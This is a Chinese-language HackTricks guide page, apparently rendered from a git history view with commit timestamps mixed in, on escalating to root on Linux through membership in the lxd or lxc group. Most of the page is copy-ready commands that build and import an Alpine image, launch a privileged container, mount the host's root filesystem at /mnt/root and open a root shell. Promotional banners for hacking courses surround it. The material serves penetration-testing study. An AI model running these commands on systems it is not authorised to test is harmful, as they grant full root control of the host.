hacktricks/linux-unix/privilege-escalation/lxd-privilege-escalation.md

87 lines
3.9 KiB
Markdown
Raw Normal View History

2022-04-28 16:01:33 +00:00
<details>
<summary><strong>从零到英雄学习AWS黑客攻击通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong></strong></summary>
2022-04-28 16:01:33 +00:00
支持HackTricks的其他方式
2022-04-28 16:01:33 +00:00
* 如果您想在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**telegram群组**](https://t.me/peass)或在**Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
2022-04-28 16:01:33 +00:00
</details>
如果你属于 _**lxd**_ **或** _**lxc**_ **组**你可以成为root
# 在没有互联网的情况下利用
你可以在你的机器上安装这个发行版构建器:[https://github.com/lxc/distrobuilder ](https://github.com/lxc/distrobuilder)\(按照github的说明操作\)
2020-08-10 09:55:03 +00:00
```bash
#Install requirements
sudo apt update
sudo apt install -y golang-go debootstrap rsync gpg squashfs-tools
#Clone repo
2020-08-10 09:55:03 +00:00
go get -d -v github.com/lxc/distrobuilder
#Make distrobuilder
cd $HOME/go/src/github.com/lxc/distrobuilder
make
cd
#Prepare the creation of alpine
mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/
2020-08-09 13:31:57 +00:00
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
#Create the container
2020-08-09 13:31:57 +00:00
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml
```
然后,将文件 **lxd.tar.xz****rootfs.squashfs** 上传到服务器
2023-08-03 19:12:22 +00:00
添加镜像:
2020-08-10 09:55:03 +00:00
```bash
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
lxc image list #You can see your new imported image
```
2023-08-03 19:12:22 +00:00
创建一个容器并添加根路径
2020-08-10 09:55:03 +00:00
```bash
lxc init alpine privesc -c security.privileged=true
lxc list #List containers
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
```
2023-08-03 19:12:22 +00:00
执行容器:
2020-08-10 09:55:03 +00:00
```bash
2020-08-09 13:46:52 +00:00
lxc start privesc
lxc exec privesc /bin/sh
2020-08-10 09:55:03 +00:00
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
```
# 有网络
您可以按照[这些指示](https://reboare.github.io/lxd/lxd-escape.html)操作。
2020-08-10 09:55:03 +00:00
```bash
lxc init ubuntu:16.04 test -c security.privileged=true
2023-08-03 19:12:22 +00:00
lxc config device add test whatever disk source=/ path=/mnt/root recursive=true
lxc start test
lxc exec test bash
2020-08-10 09:55:03 +00:00
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted
```
2023-08-03 19:12:22 +00:00
# 其他参考资料
2020-08-10 09:55:03 +00:00
{% embed url="https://reboare.github.io/lxd/lxd-escape.html" caption="" %}
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>通过</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>从零开始学习AWS黑客攻击直至成为专家</strong></summary>
2022-04-28 16:01:33 +00:00
支持HackTricks的其他方式
2022-04-28 16:01:33 +00:00
* 如果您希望在**HackTricks中看到您的公司广告**或**下载HackTricks的PDF版本**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 获取[**官方的PEASS & HackTricks商品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs系列**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram群组**](https://t.me/peass) 或在 **Twitter** 🐦 上**关注**我 [**@carlospolopm**](https://twitter.com/carlospolopm)**。**
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
2022-04-28 16:01:33 +00:00
</details>